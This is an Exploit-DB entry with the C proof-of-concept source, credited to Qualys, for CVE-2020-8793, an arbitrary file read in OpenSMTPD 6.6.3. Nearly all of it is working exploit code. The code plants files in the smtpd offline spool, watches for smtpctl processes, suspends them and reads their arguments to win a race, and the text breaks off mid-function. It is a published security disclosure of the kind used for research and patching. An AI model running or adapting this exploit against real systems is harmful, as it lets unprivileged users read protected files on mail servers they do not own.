Exploit-DB #48139
Description: OpenSMTPD 6.6.3 - Arbitrary File Read
Type: remote
Platform: linux
Date: 2020-02-26
Author: Qualys Corporation

Exploit:
# Title: OpenSMTPD 6.6.3 - Arbitrary File Read
# Date: 2020-02-20
# Author: qualys
# Vendor: https://www.opensmtpd.org/
# CVE: 2020-8793

/*
 * Local information disclosure in OpenSMTPD (CVE-2020-8793)
 * Copyright (C) 2020 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

#include <sys/types.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <sys/wait.h>
#include <errno.h>
#include <fcntl.h>
#include <fts.h>
#include <limits.h>
#include <pwd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define P_SUSPSIG       0x08000000      /* Stopped from signal. */

#define PATH_SPOOL              "/var/spool/smtpd"
#define PATH_OFFLINE            "/offline"
#define OFFLINE_QUEUEMAX        5

#define die() do { \
    printf("died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static const char * const *
create_files(const size_t n_files)
{
    size_t f;
    for (f = 0; f < n_files; f++) {
        char file[] = PATH_SPOOL PATH_OFFLINE "/0.XXXXXXXXXX";
        const int fd = mkstemp(file);
        if (fd <= -1) die();

        if (file[sizeof(file)-1] != '\0') die();
        file[sizeof(file)-1] = '\n';
        if (write(fd, file, sizeof(file)) != (ssize_t)sizeof(file)) die();
        if (close(fd) != 0) die();
    }

    const char ** const files = calloc(n_files, sizeof(char *));
    if (files == NULL) die();

    char * const paths[] = { PATH_SPOOL PATH_OFFLINE, NULL };
    FTS * const fts = fts_open(paths, FTS_PHYSICAL | FTS_NOCHDIR, NULL);
    if (fts == NULL) die();

    for (f = 0; ; ) {
        const FTSENT * const ent = fts_read(fts);
        if (ent == NULL) break;
        if (ent->fts_name[0] != '0') continue;
        if (ent->fts_name[1] != '.') continue;

        if (ent->fts_info != FTS_F) die();
        if (ent->fts_level != 1) die();
        if (ent->fts_statp->st_gid != ent->fts_parent->fts_statp->st_gid) die();
        if (ent->fts_statp->st_size <= 0) die();

        const char * const file = strdup(ent->fts_path);
        if (file == NULL) die();
        if (f >= n_files) die();
        files[f++] = file;
    }
    if (f != n_files) die();
    if (fts_close(fts) != 0) die();

    if (truncate(files[n_files - 1], 0) != 0) die();
    return files;
}

static void
wait_sentinel(const char * const * const files, const size_t n_files)
{
    for (;;) {
        struct stat sb;
        if (lstat(files[n_files - 1], &sb) != 0) {
            if (errno != ENOENT) die();
            return;
        }
        if (!S_ISREG(sb.st_mode)) die();
        if (sb.st_size != 0) die();
    }
    die();
}

static void
kill_wait(const pid_t pid)
{
    if (kill(pid, SIGKILL) != 0) die();

    int status = 0;
    if (waitpid(pid, &status, 0) != pid) die();
    if (!WIFSIGNALED(status)) die();
    if (WTERMSIG(status) != SIGKILL) die();
}

typedef struct {
    int stop;
    pid_t pid;
    int fd;
} t_stopper;

static t_stopper
fork_stopper(const uid_t uid)
{
    const int stop = (uid == getuid());

    int fds[2];
    if (pipe(fds) != 0) die();
    const pid_t pid = fork();
    if (pid <= -1) die();

    const int fd = fds[!pid];
    if (close(fds[!!pid]) != 0) die();

    if (pid != 0) {
        const t_stopper stopper = { .stop = stop, .pid = pid, .fd = fd };
        return stopper;
    }

    int proc_mib[] = { CTL_KERN, KERN_PROC, KERN_PROC_RUID, uid, sizeof(struct kinfo_proc), 0 };
    size_t proc_len = 0;
    if (sysctl(proc_mib, 6, NULL, &proc_len, NULL, 0) == -1) die();
    if (proc_len <= 0) proc_len = sizeof(struct kinfo_proc);
    if (proc_len > ((size_t)1 << 20)) die();

    const size_t proc_max = 0x10 * proc_len;
    void * const proc_buf = malloc(proc_max);
    if (proc_buf == NULL) die();
    if (proc_mib[5] != 0) die();
    proc_mib[5] = proc_max / sizeof(struct kinfo_proc);

    for (;;) {
        proc_len = proc_max;
        if (sysctl(proc_mib, 6, proc_buf, &proc_len, NULL, 0) == -1) die();
        if (proc_len <= 0) {
            if (stop) die();
            continue;
        }
        if (proc_len >= proc_max) die();

        const struct kinfo_proc * kp;
        if (proc_len % sizeof(*kp) != 0) die();
        for (kp = proc_buf; kp != proc_buf + proc_len; kp++) {
            if (*(const uint64_t *)kp->p_comm != *(const uint64_t *)"smtpctl") continue;
            if (kp->p_flag & P_SUSPSIG) continue;

            const pid_t pid = kp->p_pid;
            if (stop && kill(pid, SIGSTOP) != 0) continue;

            const int argv_mib[] = { CTL_KERN, KERN_PROC_ARGS, pid, KERN_PROC_ARGV };
            static char argv_buf[ARG_MAX];
            size_t argv_len = sizeof(argv_buf);
            if (sysctl(argv_mib, 4, argv_buf, &argv_len, NULL, 0) == -1) {
                continue;
            }
            if (argv_len <= sizeof(char *)) {
                if (stop) die();
                continue;
            }
            if (argv_len >= sizeof(argv_buf)) die();

            const char * const * const av = (const void *)argv_buf;
            size_t ac;
            for (ac = 0; av[ac] != NULL; ac++) {
                switch (ac) {
                case 0:
                    if (strcmp(a